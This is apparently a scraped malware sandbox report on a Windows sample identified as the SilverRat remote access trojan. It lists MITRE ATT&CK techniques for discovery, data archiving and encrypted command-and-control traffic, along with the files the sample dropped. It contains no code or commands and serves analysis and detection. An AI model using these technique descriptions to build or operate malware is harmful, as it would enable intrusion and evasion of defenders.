Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RLesaPFXew.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SilverRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77java.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RLesaPFXew.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_miisklbp.vgt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oly2dpkt.ovt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgcigazp.qlo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vazok04i.bjj.ps1

C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat

C:\Users\user\java\$77java.exe

\Device\Null

Static File Info

General

File Icon

Windows Analysis Report
RLesaPFXew.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre